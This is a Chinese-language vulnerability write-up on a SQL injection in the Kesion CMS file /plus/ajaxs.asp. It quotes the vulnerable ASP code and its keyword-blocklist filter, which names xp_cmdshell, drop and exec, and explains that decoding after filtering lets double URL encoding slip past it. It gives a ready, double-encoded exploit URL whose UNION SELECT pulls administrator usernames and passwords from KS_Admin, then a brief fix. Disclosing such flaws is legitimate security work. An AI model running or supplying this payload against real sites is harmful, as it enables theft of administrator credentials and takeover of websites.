函数过滤混乱导致注入复制代码代码如下:Dim KS:Set KS=New PublicCls Dim Action Action=KS.S(\”Action\”) Select Case Action Case \”Ctoe\” CtoE Case \”GetTags\” GetTags Case \”GetRelativeItem\” GetRelativeItem //问题函数 …skip… Case \”getonlinelist\” getonlinelist End Select Sub GetRelativeItem() //漏洞函数开始 Dim Key:Key=UnEscape(KS.S(\”Key\”))//漏洞位置，只调用ks.s函数，无其它过滤。 Dim Rtitle:rtitle=lcase(KS.G(\”rtitle\”)) Dim RKey:Rkey=lcase(KS.G(\”Rkey\”)) Dim ChannelID:ChannelID=KS.ChkClng(KS.S(\”Channelid\”)) Dim ID:ID=KS.ChkClng(KS.G(\”ID\”)) Dim Param,RS,SQL,k,SqlStr If Key<>\”\” Then If (Rtitle=\”true\” Or RKey=\”true\”) Then If Rtitle=\”true\” Then param=Param & \” title like \’%\” & key & \”%\’\”//类似搜索型注入漏洞。 end if If Rkey=\”true\” Then If Param=\”\” Then Param=Param & \” keywords like \’%\” & key & \”%\’\” Else Param=Param & \” or keywords like \’%\” & key & \”%\’\” End If End If Else Param=Param & \” keywords like \’%\” & key & \”%\’\” End If End If If Param<>\”\” Then Param=\” where InfoID<>\” & id & \” and (\” & param & \”)\” else Param=\” where InfoID<>\” & id end if If ChannelID<>0 Then Param=Param & \” and ChannelID=\” & ChannelID Param=Param & \” and verific=1\” SqlStr=\”Select top 30 ChannelID,InfoID,Title From KS_ItemInfo \” & Param & \” order by id desc\” //查询 Set RS=Server.CreateObject(\”ADODB.RECORDSET\”) RS.Open SqlStr,conn,1,1 If Not RS.Eof Then SQL=RS.GetRows(-1) End If RS.Close 先进行了过滤，然后才调用UnEscape解码，复制代码代码如下: Public Function S(Str) S = DelSql(Replace(Replace(Request(Str), \”\’\”, \”\”), \”\”\”\”, \”\”)) Function DelSql(Str) Dim SplitSqlStr,SplitSqlArr,I SplitSqlStr=\”dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell\” SplitSqlArr = Split(SplitSqlStr,\”|\”) For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) If Instr(LCase(Str),SplitSqlArr(I))>0 Then Die \”<script>alert(\’系统警告！\\n\\n1、您提交的数据有恶意字符\” & SplitSqlArr(I) &\”;\\n2、您的数据已经被记录;\\n3、您的IP：\”&GetIP&\”;\\n4、操作日期：\”&Now&\”;\\n Powered By Kesion.Com!\’);window.close();</script>\” End if Next DelSql = Str End Function 如果配合Unescape()函数，刚过滤不会生效。可以采用unicode编码方式，则不会在浏览器中出现被过滤的字符。例如，单引号可以编码为。%2527，经过解码后还是“\’”号，这样的话，就可以利用类似php的二次编码漏洞的方式绕过过滤了。注入语句：%\’) union select 1,2,username+\’|\’+ password from KS_Admin转换如下：/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500修复方案：UnEscape()函数调用位置放在函数体内，或者不调用。
